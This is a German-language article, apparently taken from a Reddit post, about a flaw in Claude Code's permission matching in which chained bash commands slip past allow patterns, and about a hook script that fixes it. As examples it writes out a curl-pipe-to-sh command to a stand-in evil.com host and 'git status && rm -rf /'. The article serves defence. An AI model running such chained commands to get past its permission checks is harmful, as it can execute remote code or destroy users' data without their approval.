Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

Sicherheitslücke im Berechtigungssystem von Claude Code
Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.
Die Lösung: claude-hooks
Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:
- Zerlegt zusammengesetzte Befehle durch Aufteilung an
&&,||,;,|, Zeilenumbrüchen und extrahiert rekursiv$()- und Backtick-Subshell-Inhalte - Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
- Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen
permissions.allow- undpermissions.deny-Muster - Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
- Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
- Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Einrichtungsanleitung
Die Installation dauert etwa 30 Sekunden:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyZu ~/.claude/settings.json hinzufügen:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.
Beispielverhalten
git status: Sowohl mit als auch ohne Hook erlaubtgit add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen aufgit *)git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf /hat keine Zulassung)`npm test | tee output.log`: ErlaubtFOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)
Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.
📖 Read the full source: r/ClaudeAI
👀 Siehe auch

BlindKey: Blinde Anmeldeinformationen-Injektion für KI-Agenten
BlindKey ist ein Sicherheitstool, das KI-Agenten den Zugriff auf Klartext-API-Zugangsdaten verhindert, indem es verschlüsselte Vault-Token und einen lokalen Proxy verwendet. Agenten verweisen auf Token wie bk://stripe, und der Proxy injiziert die echte Zugangsdaten zur Zeit der Anfrage.

Nullgaze: Open-Source AI-unterstützter Sicherheitsscanner veröffentlicht
Nullgaze ist ein neuer, Open-Source-AI-unterstützter Sicherheits-Scanner, der speziell auf Schwachstellen in AI-generiertem Code abzielt und nahezu null falsche Positiver aufweist.

Kritische OpenClaw-Sicherheitslücken am 28.03.2026 gepatcht.
OpenClaw Version 2026.3.28 behebt 8 kritische Sicherheitslücken, die vom Ant AI Security Lab entdeckt wurden, darunter Sandbox-Umgehung, Rechteausweitung und SSRF-Risiken. Nutzer mit Versionen ≤2026.3.24 sollten sofort aktualisieren.

Agent-Isolationssicherheitsanalyse: Vom Sandbox-freien Ansatz bis hin zu Firecracker-VMs
Analyse, wie Cursor, Claude Code, Devin, OpenAI und E2B Agenten-Workloads isolieren, von keiner Sandbox bis hin zu hardware-isolierten Firecracker-MicroVMs. Container-Runtimes hatten seit 2019 jährlich Escape-CVEs, während Firecracker in sieben Jahren keine Gast-zu-Host-Escapes hatte.